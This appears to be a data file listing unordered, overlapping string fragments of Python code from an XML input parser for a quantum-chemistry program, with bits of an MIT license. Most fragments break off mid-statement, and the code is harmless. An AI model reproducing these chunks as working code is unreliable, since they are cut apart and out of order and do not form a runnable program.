"False elif arg.lower() == 'true': value[i] = True else: value[i]",
"Retrieve the definition tag for a tag with name =",
"{}, abbreviation = None, counter_present = False): \"\"\" This function",
"in list(argument_values): # the string lists need some special attention:",
"equal \"\"\" for parameter_name in self.parameter_values: if not self.parameter_values_are_equal(other, parameter_name):",
"charges.append(self.get_atom_charge(xyz_text[0])) xyz_coord[0] = float(xyz_text[1]) xyz_coord[1] = float(xyz_text[2]) xyz_coord[2] = float(xyz_text[3])",
"root.attrib[name] return value def read_parameter_value(self, parameter_definition): \"\"\" Read the value",
"__init__(self, filename = None, \\ definition_filename = None,\\ input_object =",
"if os.path.exists(os.path.join(self.directory, scf_energetics_filename)): scf_energetics_definition = root_object.definition.find('scf_energetics_input') scf_energetics = SCFEnergeticsXML(parent_object =",
"directory) elif tag.tag == 'basis_set': child = BasisSetXML(parent_object = self,",
"not exist\".format(filename)) else: self.root = None self.parent_object = parent_object if",
"if original_directory is not None: complete_path = os.path.join(original_directory, path_text) else:",
"given limits self.check_value_range(final_value, parameter_definition) # set the parameter value self.parameter_values[parameter_definition.attrib['name']]",
"corresponding directory directory = self.extends_directories[-1] path_text = InputXML.read_tag_or_attribute_value(self.extends_roots[-1], 'extends_path') def",
"value, float(minval)) if 'maxval' in parameter_definition.attrib: maxval = parameter_definition.attrib['maxval'] if",
"self.children: child.fill_id_values() def get_tagid_for_name(self, tagtype, name): if self.parent_object is not",
"exists if os.path.exists(complete_path): tree = ET.parse(complete_path) return tree.getroot() else: raise",
"self.extends_roots. Stores the found child-xml classes to 'self.children' and the",
"specified. if self.parameter_values[parameter_name] is not None: if argument_key in argument_values",
"is None: del argument_values[argument_key] def add_counters(self, child): \"\"\" Add all",
"not finding the value if self.get_parameter_value(parameter_name) == 0: tagtype =",
"for a tag with name = tag_name \"\"\" definition =",
"'arguments_values'. \"\"\" if 'abbreviation' in self.definition.attrib: abbreviation = self.definition.attrib['abbreviation'] for",
"size = int(parameter_definition.attrib['shape']) value = numpy.zeros(size) try: for i, arg",
"definition is not None: self.definition = definition else: sys.exit(\"Definition tag",
"in self.parameter_values: # try to find the correct definition tag",
"# if not, the children cannot be equal if not",
"None: return self.parent_object.add_counter_value(counter_name) else: return False def get_counter_value(self, counter_name): \"\"\"",
"None: # try to retrieve the content from path_text try:",
"root_object.add_counters(structure) structure.parse() structure_id_definition = self.get_parameter_definition('structure_id') self.set_parameter_value(structure_id_definition, structure.id) class BasisSetXML(InputXML): tag_type",
"to be changed to a list array_values = self.read_array_values(value_text, argument_type)",
"input_object = tag, directory = directory) elif tag.tag == 'structure':",
"= 'basis_set_input' class SettingsXML(InputXML): tag_type = 'settings' definition_tag = 'settings_input'",
"not None: self._parse_children(self.root, self.directory) # add the tag classes that",
"orbitals as dict try: dictionary = ast.literal_eval(\"{\"+ value_text +\"}\") size",
"= ET.parse(definition_filename) self.definition = definition.getroot() else: sys.exit(\"Input definition filename does",
"return child.id return -1 def get_parameter_definition(self, parameter_name): \"\"\" Retrieve the",
"is not in the values \".format(parameter_name)+ \\ \"of the object.",
"interface \"\"\" self.parse() self.handle_folders() self.fill_id_values() kwargs = OrderedDict() self.get_interface_argument_values(kwargs) return",
"counter_present = counter_present) # if we are at the root,",
"# try to retrieve the content from path_text if path_text",
"type(self_value[i]) == numpy.float64 or type(self_value[i]) == numpy.float32 or type(self_value[i]) ==",
"= True else: value = bool(arg) except ValueError: sys.exit('Error: parameter",
"True else: value = bool(arg) except ValueError: sys.exit('Error: parameter with",
"in the input file, just to # input the default",
"dictionary, value is: {}.\".format(value_text)) return result def convert_argument_value(self, value_text, parameter_definition):",
"files (the \"Software\"), to deal * * in the Software",
"* * OUT OF OR IN CONNECTION WITH THE SOFTWARE",
"folders and replaces relative paths with non-relative ones \"\"\" for",
"is not None): result[0] = float(x.text) y = atom.find('y') if",
"THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY",
"= [None] * size for key in dictionary: # convert",
"file(s), if the tag has attribute or child named 'path'",
"else: raise Exception(\"Error: '{}' tag path '{}' does not exist\".format(self.tag_type,",
"prepare(self): \"\"\" Prepare the input to have all things required",
"LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,",
"does not exist\".format(self.tag_type, complete_path)) def retrieve(self): \"\"\" Retrieves content to",
"in argument_values and argument_values[argument_key] is not None: argument_values[argument_key].append(self.parameter_values[parameter_name]) else: argument_values[argument_key]",
"\"\"\" definition = self.definition.find('{}'.format(tag_name)) return definition def _parse_children(self, root, directory):",
"directory) elif tag.tag == 'structure': child = StructureXML(parent_object = self,",
"\"\"\" Reads the value of a tag or attribute with",
"in parameter_definition.attrib: value = parameter_definition.attrib['default'] return value def get_parameter_value(self, parameter_name):",
"= root.attrib[name] return value def read_parameter_value(self, parameter_definition): \"\"\" Read the",
"root_object.child_definitions.append('scf_energetics') root_object.add_counters(scf_energetics) scf_energetics.parse() scf_energetics_id_definition = self.get_parameter_definition('scf_energetics_id') self.set_parameter_value(scf_energetics_id_definition, scf_energetics.id) structure_filename =",
"None and os.path.exists(filename): self.directory = os.path.dirname(filename) elif self.parent_object is not",
"Finds the id for each parameter where reference is made",
"if two InputXML objects are equal with each other \"\"\"",
"of this object and store them # to 'self' if",
"Exception(\"Bad form of array, should have a list or a",
"* Copyright (c) 2010-2018 <NAME>, <NAME>, <NAME>, * * <NAME>,",
"of xml file at path 'path_text' to and store it",
"SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,",
"if value is not None: if 'minval' in parameter_definition.attrib: minval",
"if 'output_folder' in self.parameter_values: scf_energetics_filename = \\ os.path.join(self.parameter_values['output_folder'], \"scf_energetics.xml\") root_object",
"\"\"\" if directory is not None: complete_path = os.path.join(directory, path_text)",
"and 'other' are equal with definition and value \"\"\" for",
"= root_object.definition.find('scf_energetics_input') scf_energetics = SCFEnergeticsXML(parent_object = root_object, \\ definition =",
"AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, *",
"if self.parent_object is None: for argument_key in list(argument_values): # the",
"Ignoring.\".format(tag.tag)) continue else: child = InputXML(parent_object = self, definition =",
"'<class>'-tags if definition is None: definition_found = False for definition_tag",
"name_tag_found = tagtype+\"_name\" in self.parameter_values if name_tag_found: name = self.parameter_values[tagtype+\"_name\"]",
"def handle_output_files(self): \"\"\" Reads in the output files and creates",
"if (charge is not None): self.charge = int(charge.text) else: self.charge",
"in ['output_folder', 'input_folder', 'folder_path']: if self.parameter_values[parameter_name] is not None: #",
"for parameter name 'parameter_name'. \"\"\" for parameter_definition in self.definition.findall('parameter'): if",
"child = StructureXML(parent_object = self, definition = definition, input_object =",
"for child in self.parent_object.children: if hasattr(child, 'tag_type') and child.tag_type ==",
"= {}, abbreviation = None, counter_present = False): \"\"\" This",
"structure_definition) structure.root = structure.retrieve_path(structure_filename, structure.directory) root_object.children.append(structure) root_object.child_definitions.append('structure') root_object.add_counters(structure) structure.parse() structure_id_definition",
"and self.extends_roots. Stores the found child-xml classes to 'self.children' and",
"to deal * * in the Software without restriction, including",
"and child.name == name: return child.id return -1 def get_parameter_definition(self,",
"copyright notice and this permission notice shall be included in",
"self.child_definitions: child = InputXML(parent_object = self, definition = definition_tag) self.children.append(child)",
"= ET.parse(filename) self.root = self.tree.getroot() else: print(\"Path for definition file:",
"\"\"\" Creates a new directory path from 'path_text' and 'original_directory'",
"and value {} is larger than the largest allowed value:",
"not None): self.charge = int(charge.text) else: self.charge = 0 #",
"child = SettingsXML(parent_object = self, definition = definition, input_object =",
"with name=='counter_name' by one. If the counter is not found",
"# convert the value to right data type and check",
"self.handle_folders() self.fill_id_values() kwargs = OrderedDict() self.get_interface_argument_values(kwargs) return kwargs def form_new_directory_path(self,",
"not None: # convert the non absolute paths to absolute",
"exist, create it if parameter_name == 'output_folder' and not os.path.exists(self.parameter_values[parameter_name]):",
"retrieve(self): \"\"\" Retrieves content to the tag from external file(s),",
"elif 'text_value' in option.attrib and value_text == option.attrib['text_value']: return option.attrib['value']",
"atom.find('x') if (x is not None): result[0] = float(x.text) y",
"fall back to default value/or None if one is not",
"self.definition = definition elif definition_filename is not None: if os.path.exists(definition_filename):",
"handle_output_files(self): \"\"\" Reads in the output files and creates the",
"path and corresponding directory directory = self.extends_directories[-1] path_text = InputXML.read_tag_or_attribute_value(self.extends_roots[-1],",
"value_text = self.get_option_value(value_text, parameter_definition) if SettingsGenerator.is_array(parameter_definition): if value_text is None:",
"not in self.child_definitions: child = InputXML(parent_object = self, definition =",
"InputProgrammingError(\"Accessed parameter: '{}' is not in the values \".format(parameter_name)+ \\",
"the file with the input directory path = os.path.join(self.directory, self.parameter_values[parameter_name])",
"not None: # try to retrieve the content from path_text",
"try: dictionary = ast.literal_eval(\"{\"+ value_text +\"}\") size = max(dictionary.keys()) #",
"result array from the parameter definition size = int(parameter_definition.attrib['shape']) value",
"parameter_definition.attrib['maxval'] if value > float(maxval): sys.exit('Error: argument with name {}",
"\\ argument_type.startswith(\"double\") # try to evaluate the molecular orbitals as",
"def get_option_value(self, value_text, parameter_definition): options = parameter_definition.findall('option') result = None",
"recursive as it calls 'parse' for all found children in",
"is not specified if value is None: if 'default' in",
"or too few coordinates in 'atom'->'xyz' -tag.\") self.coordinates.append(result) self.types.append(atom_type) self.charges.append(atom_charge)",
"lines if (len(xyz_text) == 1 and xyz_text[0] == \"\"): continue",
"without restriction, including without limitation the rights * * to",
"the path exists if os.path.exists(complete_path): tree = ET.parse(complete_path) return tree.getroot()",
"os.path.join(self.directory, self.parameter_values[parameter_name]) # make the path more readable by removing",
"temp_array[:, :, :] elif len(shape) == 2: new_array[:, :shape[1]] =",
"directory = directory) elif tag.tag == 'action': child = ActionXML(parent_object",
"final size of the result array from the parameter definition",
"tag_name \"\"\" definition = self.definition.find('{}'.format(tag_name)) return definition def _parse_children(self, root,",
"'self.parameter_values'. The corresponding definitions are stored to 'self.child_definitions' and 'self.parameter_definitions',",
"result = [None] * size for key in dictionary: #",
"float(value_text) elif argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value = str(value_text) else: value",
"'output_folder' in self.parameter_values: scf_energetics_filename = \\ os.path.join(self.parameter_values['output_folder'], \"scf_energetics.xml\") root_object =",
"value_text.lower() == 'false': value = False elif value_text.lower() == 'true':",
"obtaining a copy * * of this software and associated",
"sys.exit('Error: The value \"{}\" for argument with name \"{}\" is",
"= self.get_parameter_definition('structure_id') self.set_parameter_value(structure_id_definition, structure.id) class BasisSetXML(InputXML): tag_type = 'basis_set' definition_tag",
"parameter_definitions = {}, abbreviation = None, counter_present = False): \"\"\"",
"value_text == option.attrib['text_value']: return option.attrib['value'] else: valid_options += (\"{}: {}",
"os.path.exists(os.path.join(self.directory, scf_energetics_filename)): scf_energetics_definition = root_object.definition.find('scf_energetics_input') scf_energetics = SCFEnergeticsXML(parent_object = root_object,",
"Set an arbitrary value 'value' for the parameter with definition",
"value = bool(arg) except ValueError: sys.exit('Error: parameter with type \\'{}\\'",
"None: # convert the non absolute paths to absolute ones",
"values of parameter with name 'parameter_name' for two objects of",
"if child == other_child: equal_found = True # if not,",
"NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * * FITNESS",
"of this software and associated documentation files (the \"Software\"), to",
"class StructureXML(InputXML): tag_type = 'structure' definition_tag = 'structure_input' atom_types =",
"\"\" for option in options: if 'value' in option.attrib and",
"a copy * * of this software and associated documentation",
"\"\"\" Check if all parameter values of 'self' and 'other'",
"to 0-starting result[key-1] = dictionary[key] except: try: result = ast.literal_eval(\"[\"+",
"parameter: {}\".format(argument_key)) else: argument_values[argument_key] = self.parameter_values[parameter_name] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] for",
"and set it as the input structure of the action",
"kwargs = OrderedDict() self.get_interface_argument_values(kwargs) return kwargs def form_new_directory_path(self, path_text, original_directory",
"= parameter_name if counter_present: # Check if the parameter value",
"= 0 self.parameter_values[counter_name] += 1 return True else: if self.parent_object",
"\"structure.xml\") # if structure file exists, parse it and add",
"= directory) else: if tag.tag == 'settings': child = SettingsXML(parent_object",
"= dictionary[key] except: try: result = ast.literal_eval(\"[\"+ value_text +\"]\") except:",
"= structure_definition) structure.root = structure.retrieve_path(structure_filename, structure.directory) root_object.children.append(structure) root_object.child_definitions.append('structure') root_object.add_counters(structure) structure.parse()",
"parent definition tree\", self.definition_tag) else: sys.exit(\"Definition tag input not given.\")",
"# convert the indexing from the 1-starting to 0-starting result[key-1]",
"self.get_interface_argument_values(kwargs) return kwargs def form_new_directory_path(self, path_text, original_directory = None): \"\"\"",
"for j, value in enumerate(argument_values[argument_key]): temp[:, j] = \"{0:{width}}\".format(argument_values[argument_key][j], width=256)",
"few coordinates in 'atom'->'xyz' -tag.\") self.coordinates.append(result) self.types.append(atom_type) self.charges.append(atom_charge) def get_atom_type(self,",
"'name' in an xml. If attribute or tag is not",
"that it exists. Returns the new path. \"\"\" if original_directory",
"sys.exit(\"Error: Too many or too few coordinates in 'atoms'->'xyz' -line.\")",
"None, counter_present = False): \"\"\" This function converts the values",
"or \\ argument_type.startswith(\"float\") or \\ argument_type.startswith(\"double\") # try to evaluate",
"is not None: if 'minval' in parameter_definition.attrib: minval = parameter_definition.attrib['minval']",
"attribute or child named 'path' and/or 'extends_path'. \"\"\" if self.root",
"'extends_directories') and self.extends_directories is not None: for i, extends_root in",
"= float(xyz_text[3]) coordinates.append(xyz_coord) else: sys.exit(\"Error: Too many or too few",
"path_text, original_directory = None): \"\"\" Creates a new directory path",
"size else: result = [None] * size for key in",
"corresponding objects to the tree \"\"\" if 'output_folder' in self.parameter_values:",
"types.append(self.get_atom_type(xyz_text[0])) charges.append(self.get_atom_charge(xyz_text[0])) xyz_coord[0] = float(xyz_text[1]) xyz_coord[1] = float(xyz_text[2]) xyz_coord[2] =",
"xyz.text.strip().split(\" \") if (len(xyz_text) == 4): atom_type = get_atom_type(xyz_text[0]) atom_charge",
"__name__ == \"__main__\": if len(sys.argv) <= 1: print(\"Give the input",
"tag, directory = directory) self.children.append(child) self.child_definitions.append(tag.tag) self.add_counters(child) child.parse() def parse(self):",
"of the action if os.path.exists(os.path.join(self.directory, structure_filename)): structure_definition = root_object.definition.find('structure_input') structure",
"path_text, directory): \"\"\" Retrieves content of xml file at path",
"is not None: tag = root.find(name) if tag is not",
"in self.parameter_values: if parameter_name.endswith(\"_id\"): # check if the tag has",
"= InputXML.read_tag_or_attribute_value(extends_root, parameter_definition.attrib['name']) # if value is found, break the",
"'false': value[i] = False elif arg.lower() == 'true': value[i] =",
"type.\") # get the values for both input objects self_value",
"children_are_equal(self, other): \"\"\" Check if children of 'self' and 'other'",
"A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE",
"by removing extra slashes and dots self.parameter_values[parameter_name] = os.path.normpath(path) #",
"return value_text elif 'text_value' in option.attrib and value_text == option.attrib['text_value']:",
"in self.children: child.fill_id_values() def get_tagid_for_name(self, tagtype, name): if self.parent_object is",
"the id for each parameter where reference is made with",
"is not None: if definition_filename is None: definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\"",
"= self.definition.attrib['abbreviation'] for parameter_name in self.parameter_values: if SettingsGenerator.generate_fortran(self.parameter_definitions[parameter_name]): if abbreviation",
"self.extends_directories.append(self.form_new_directory_path(path_text, directory)) except Exception as e: sys.exit(str(e)) # prepare for",
"result[1] = float(xyz_text[2]) result[2] = float(xyz_text[3]) else: sys.exit(\"Error: Too many",
"ET.parse(definition_filename) self.definition = definition.getroot() else: sys.exit(\"Input definition filename does not",
"name) if id_value != -1: self.parameter_values[parameter_name] = id_value for child",
"in self.children: child.handle_folders() def get_interface_argument_values(self, argument_values, parameter_definitions = {}, abbreviation",
"if not definition_found: print(\"Warning: Found unknown tag with name '{}'.",
"{}\".format(definition_filename)) elif self.parent_object is not None: definition = self.parent_object.definition.find(self.definition_tag) if",
"correct definition tag by using the \"*_input\"-format definition = self.definition.find('{}_input'.format(tag.tag))",
"directory is not None: complete_path = os.path.join(directory, path_text) else: complete_path",
"# check if the path exists if os.path.exists(complete_path): tree =",
"= os.path.join(self.directory, self.parameter_values[parameter_name]) # make the path more readable by",
"conditions: * * * * The above copyright notice and",
"in self.children: equal_found = False # go through all the",
"* * <NAME>, <NAME>, <NAME> * * * * Permission",
"hasattr(self, 'extends_roots') and self.extends_roots is not None\\ and hasattr(self, 'extends_directories')",
"self.get_parameter_value(parameter_name) == 0: tagtype = parameter_name[:parameter_name.rfind('_')] name_tag_found = tagtype+\"_name\" in",
"directory path from 'path_text' and 'original_directory' and validate that it",
"False for definition_tag in self.definition.findall('class'): if definition_tag.attrib['name'] == tag.tag: definition",
"'default' in parameter_definition.attrib: value = parameter_definition.attrib['default'] return value def get_parameter_value(self,",
"self.directory) # add the tag classes that are not found",
"does not exist, create it if parameter_name == 'output_folder' and",
"if argument_key not in parameter_definitions: argument_values[argument_key] = None parameter_definitions[argument_key] =",
"order='F') if len(shape) == 3: new_array[:, :, :shape[2]] = temp_array[:,",
"else: return -1 def set_parameter_value(self, parameter_definition, value): \"\"\" Set an",
"non-relative ones \"\"\" for parameter_name in self.parameter_values: if parameter_name in",
"parameter_definition in self.definition.findall('parameter'): if SettingsGenerator.is_valid_parameter(parameter_definition): self.set_parameter_value(parameter_definition, self.read_parameter_value(parameter_definition)) self.parameter_definitions[parameter_definition.attrib['name']] = parameter_definition",
"found in the input file, just to # input the",
"files and creates the corresponding objects to the tree \"\"\"",
"root_object.children.append(scf_energetics) root_object.child_definitions.append('scf_energetics') root_object.add_counters(scf_energetics) scf_energetics.parse() scf_energetics_id_definition = self.get_parameter_definition('scf_energetics_id') self.set_parameter_value(scf_energetics_id_definition, scf_energetics.id) structure_filename",
"get_atom_type(xyz_text[0]) atom_charge = get_atom_charge(xyz_text[0]) result[0] = float(xyz_text[1]) result[1] = float(xyz_text[2])",
"if the parameter value is None. If the value is",
"and value {} is smaller than the smallest allowed value:",
"self.charges.extend(charges) if __name__ == \"__main__\": if len(sys.argv) <= 1: print(\"Give",
"of the file with the input directory path = os.path.join(self.directory,",
":shape[1]] = temp_array[:, :] else: new_array[:shape[0]] = temp_array[:] argument_values[argument_key] =",
"get_counter_value(self, counter_name): \"\"\" Get the value of a counter with",
"parameter_name if counter_present: # Check if the parameter value is",
"exist: {}\".format(definition_filename)) elif self.parent_object is not None: definition = self.parent_object.definition.find(self.definition_tag)",
"for extends_root in self.extends_roots: value = InputXML.read_tag_or_attribute_value(extends_root, parameter_definition.attrib['name']) # if",
"SettingsGenerator.is_valid_parameter(parameter_definition): self.set_parameter_value(parameter_definition, self.read_parameter_value(parameter_definition)) self.parameter_definitions[parameter_definition.attrib['name']] = parameter_definition if parameter_definition.attrib['name'] == 'name':",
"parameter_definition.attrib['name']) # if value is not found at root, then",
"= self.definition.find('{}'.format(tag_name)) return definition def _parse_children(self, root, directory): \"\"\" Parse",
"None: self.directory = directory elif filename is not None and",
"if the path exists if os.path.exists(complete_path): tree = ET.parse(complete_path) return",
"and child xml-tags of the root-xml tags stored in self.root",
"lists need some special attention: if parameter_definitions[argument_key].attrib['type'].startswith('string') and type(argument_values[argument_key]) ==",
"= int(charge.text) else: self.charge = 0 # read coordinates and",
"type(self_value[i]) == numpy.float32 or type(self_value[i]) == numpy.float16: if abs(self_value[i] -",
"self.parameter_values: # try to find the correct definition tag by",
"then parse the children from it # and store them",
"self.parent_object.definition.find(self.definition_tag) if definition is not None: self.definition = definition else:",
"child): \"\"\" Add all the counter values for the child",
"import SettingsGenerator from collections import OrderedDict class InputProgrammingError(Exception): pass class",
"success: print(\"Warning: Adding counter {} failed. Counter not found.\".format(child.definition.attrib['local_index_counter'])) if",
"[self.parameter_values[parameter_name]] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if argument_key not in parameter_definitions:",
"parameter_definition): if value is not None: if 'minval' in parameter_definition.attrib:",
"value_text +\"]\") except: raise Exception(\"Bad form of array, should have",
"new_shape = (shape[0], shape[1]+1) else: new_shape = (shape[0]+1) new_array =",
"Get the value of a counter with name 'counter_name'. If",
"other_value[i]: return False return True else: return self_value == other_value",
"= tag, directory = directory) elif tag.tag == 'scf_energetics': child",
"many or too few coordinates in 'atoms'->'xyz' -line.\") self.coordinates.extend(coordinates) self.types.extend(types)",
"them to 'self' if hasattr(self, 'extends_roots') and self.extends_roots is not",
"in the output files and creates the corresponding objects to",
"= definition, input_object = tag, directory = directory) self.children.append(child) self.child_definitions.append(tag.tag)",
"add_counters(self, child): \"\"\" Add all the counter values for the",
"first from the values of the XML-element, secondarily from the",
"'{}' is not in the values \".format(parameter_name)+ \\ \"of the",
"argument_type.startswith(\"float\") or \\ argument_type.startswith(\"double\") # try to evaluate the molecular",
"valid_options = \"\" for option in options: if 'value' in",
"os.path.exists(directory_path): raise Exception(\"Error: '{}' tag path '{}' does not exist\".format(self.tag_type,",
"= int(parameter_definition.attrib['shape']) value = numpy.zeros(size) try: for i, arg in",
"= float(xyz_text[3]) else: sys.exit(\"Error: Too many or too few coordinates",
"if SettingsGenerator.generate_fortran(child.definition): child.get_interface_argument_values(argument_values, parameter_definitions, abbreviation = abbreviation, counter_present = counter_present)",
"parameter_name in self.parameter_values: return self.parameter_values[parameter_name] else: raise InputProgrammingError(\"Accessed parameter: '{}'",
"tag classes that are not found in the input file,",
"xml-root of this object and store them # to 'self'",
"exists. Returns the new path. \"\"\" if original_directory is not",
"None): xyz_text = xyz.text.strip().split(\" \") if (len(xyz_text) == 4): atom_type",
"value[i] = True else: value[i] = bool(arg) except ValueError: sys.exit('Error:",
"value_text is None: value = None elif argument_type.startswith('int'): value =",
"with name and fills it to the correct place \"\"\"",
"'abbreviation' in self.definition.attrib: abbreviation = self.definition.attrib['abbreviation'] for parameter_name in self.parameter_values:",
"self.parameter_values_are_equal(other, parameter_name): return False return True def is_of_same_type_as(self, other): \"\"\"",
"True break if not definition_found: print(\"Warning: Found unknown tag with",
"'He':2, 'Li':3, 'Be':4, 'B':5, 'C':6, 'N':7, 'O':8, 'F':9, 'Ne':10, 'Na':",
"relative charge if (charge is not None): self.charge = int(charge.text)",
"in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['counters']) if not success: print(\"Warning: Adding",
"directory = directory) elif tag.tag == 'structure': child = StructureXML(parent_object",
"shape = temp_array.shape if len(shape) == 3: new_shape = (shape[0],",
"'atom'-tag\") def read_atoms_coordinates_and_types(self, atoms): xyz = atoms.find('xyz') coordinates = []",
"not valid\", parameter_definition.attrib['name']) # if the object has extends_root, then",
"child in self.children: equal_found = False # go through all",
"than the smallest allowed value: {}', parameter_definition.attrib['name'], value, float(minval)) if",
"charge if (charge is not None): self.charge = int(charge.text) else:",
"\"\"\" Creates missing folders and replaces relative paths with non-relative",
"# if we are at the root, convert the values",
"if definition is not None: self.definition = definition elif definition_filename",
"Found unknown tag with name '{}'. Ignoring.\".format(tag.tag)) continue else: child",
"extends path and corresponding directory directory = self.extends_directories[-1] path_text =",
"raise Exception(\"Bad form of array, should have a list or",
"in self.extends_roots: value = InputXML.read_tag_or_attribute_value(extends_root, parameter_definition.attrib['name']) # if value is",
"the parsed parameters. If the parameter is not found an",
"other): \"\"\" Check if all parameter values of 'self' and",
"unknown tag with name '{}'. Ignoring.\".format(tag.tag)) continue else: child =",
"dictionary), which # has to be changed to a list",
"definition_filename = None,\\ input_object = None,\\ parent_object = None,\\ definition",
"* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF",
"value_text == option.attrib['value']: return value_text elif 'text_value' in option.attrib and",
"str(arg) else: value[i] = str(arg) if argument_type.startswith('bool'): if arg.lower() ==",
"<NAME> * * * * Permission is hereby granted, free",
"in self.parameter_values: scf_energetics_filename = \\ os.path.join(self.parameter_values['output_folder'], \"scf_energetics.xml\") root_object = self.get_root_object()",
"try to evaluate the molecular orbitals as dict try: dictionary",
"# if the output folder does not exist, create it",
"scf_energetics_definition = root_object.definition.find('scf_energetics_input') scf_energetics = SCFEnergeticsXML(parent_object = root_object, \\ definition",
"== option.attrib['text_value']: return option.attrib['value'] else: valid_options += (\"{}: {} \".format(option.attrib['value'],",
"child.fill_id_values() def get_tagid_for_name(self, tagtype, name): if self.parent_object is not None:",
"inp = InputXML(filename = sys.argv[1], definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\") import dage_fortran",
"and corresponding directory directory = self.extends_directories[-1] path_text = InputXML.read_tag_or_attribute_value(self.extends_roots[-1], 'extends_path')",
"if the input definition was not found, try to find",
"creates the corresponding objects to the tree \"\"\" if 'output_folder'",
"= directory) elif tag.tag == 'basis_set': child = BasisSetXML(parent_object =",
"\"\"\" # check that the input objects are of same",
"Permission is hereby granted, free of charge, to any person",
"'true': value = True else: value = bool(arg) except ValueError:",
"SettingsGenerator from collections import OrderedDict class InputProgrammingError(Exception): pass class InputXML(object):",
"the Software is * * furnished to do so, subject",
"and it should not be used independently. \"\"\" for tag",
"is_of_same_type_as(self, other): \"\"\" Check if self is of same type",
"self.name = self.parameter_values['name'] else: print(\"PARAMETER is not valid\", parameter_definition.attrib['name']) #",
"new directory path from 'path_text' and 'original_directory' and validate that",
"None. If the value is None, the # parameter is",
"3: new_array[:, :, :shape[2]] = temp_array[:, :, :] elif len(shape)",
"= [0] * size else: result = [None] * size",
"print(\"Warning: Found two (or more) arguments for the same parameter:",
"elif tag.tag == 'basis_set': child = BasisSetXML(parent_object = self, definition",
"the input file, just to # input the default values.",
"self.parameter_values[parameter_name] = id_value for child in self.children: child.fill_id_values() def get_tagid_for_name(self,",
"os.path.dirname(filename) elif self.parent_object is not None: self.directory = self.parent_object.directory else:",
"= self.definition.find('{}_input'.format(tag.tag)) # if the input definition was not found,",
"float(maxval)) def get_option_value(self, value_text, parameter_definition): options = parameter_definition.findall('option') result =",
"atoms in enumerate(self.root.findall('atoms')): self.read_atoms_coordinates_and_types(atoms) def read_atom_coordinates_and_type(self, atom): result = [0.0,",
"'{}' does not exist\".format(self.tag_type, complete_path)) return directory_path def retrieve_path(self, path_text,",
"the object has extends_root, then parse the children from it",
"not None: if 'minval' in parameter_definition.attrib: minval = parameter_definition.attrib['minval'] if",
"from external file(s), if the tag has attribute or child",
"= None if definition is not None: self.definition = definition",
"store them to 'self' if hasattr(self, 'extends_roots') and self.extends_roots is",
"an arbitrary value 'value' for the parameter with definition 'parameter_definition'.",
"= [] types = [] charges = [] if (xyz",
"parameter_definition) # check that value is within given limits self.check_value_range(final_value,",
"parameter_name in self.parameter_values: if parameter_name in ['output_folder', 'input_folder', 'folder_path']: if",
"def get_parameter_definition(self, parameter_name): \"\"\" Retrieve the parameter definition for parameter",
"child.definition.attrib: success = self.add_counter_value(child.definition.attrib['local_index_counter']) if not success: print(\"Warning: Adding counter",
"float(xyz_text[3]) else: sys.exit(\"Error: Too many or too few coordinates in",
"for the Fortran interface. The converted values are stored to",
"directory) elif tag.tag == 'scf_energetics': child = SCFEnergeticsXML(parent_object = self,",
"'path_text' to and store it to 'parameter_name' atribute of 'self'.",
"other_value def all_parameter_values_are_equal(self, other): \"\"\" Check if all parameter values",
"'{}' not found from parent definition tree\", self.definition_tag) else: sys.exit(\"Definition",
"\"\"\" Retrieves content to the tag from external file(s), if",
"!= \"\": id_value = self.get_tagid_for_name(tagtype, name) if id_value != -1:",
"content of xml file at path 'path_text' to and store",
"* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO",
"Exception as e: sys.exit(str(e)) # prepare for the next loop",
"WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING",
"'basis_set_input' class SettingsXML(InputXML): tag_type = 'settings' definition_tag = 'settings_input' class",
"all things required to call the Fortran interface \"\"\" self.parse()",
"'self' and 'other' are equal with definition and value \"\"\"",
"definition_tag = 'settings_input' class StructureXML(InputXML): tag_type = 'structure' definition_tag =",
"for other_child in other.children: if child == other_child: equal_found =",
"= [] self.types = [] self.charges = [] # first",
"retrieve_path(self, path_text, directory): \"\"\" Retrieves content of xml file at",
":, :] elif len(shape) == 2: new_array[:, :shape[1]] = temp_array[:,",
"* * The above copyright notice and this permission notice",
"and hasattr(self, 'extends_directories') and self.extends_directories is not None: for i,",
"False): \"\"\" This function converts the values of the parameters",
"if (xyz is not None): xyz_text = xyz.text.strip().split(\" \") if",
"extends_root in enumerate(self.extends_roots): self._parse_children(extends_root, self.extends_directories[i]) # parse the children from",
"read_tag_or_attribute_value(root, name): \"\"\" Reads the value of a tag or",
"not None): result[0] = float(x.text) y = atom.find('y') if (y",
"if the tag has value that is not 0, in",
"then use the value from extends roots if value is",
"* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR",
"all parameter values of 'self' and 'other' are equal \"\"\"",
"try to retrieve the content from path_text if path_text is",
"not None): xyz_text = xyz.text.strip().split(\" \") if (len(xyz_text) == 4):",
"= argument_type.startswith(\"int\") or \\ argument_type.startswith(\"float\") or \\ argument_type.startswith(\"double\") # try",
"options = parameter_definition.findall('option') result = None if len(options) > 0:",
"filename is not None: if definition_filename is None: definition_filename =",
"float(z.text) xyz = atom.find('xyz') atom_type = self.read_atom_type(atom) if (xyz is",
"self.extends_roots = [] self.extends_directories = [] directory = self.directory while",
"the parameter values to 'self.parameter_values'. The corresponding definitions are stored",
"raised. \"\"\" if hasattr(self, 'parameter_values') and parameter_name in self.parameter_values: return",
"tag for a tag with name = tag_name \"\"\" definition",
"parameter_definition in self.definition.findall('parameter'): if parameter_definition.attrib['name'] == parameter_name: return parameter_definition return",
"def get_definition_tag(self, tag_name): \"\"\" Retrieve the definition tag for a",
"= self.retrieve_path(path_text, self.directory) self.directory = self.form_new_directory_path(path_text, self.directory) except Exception as",
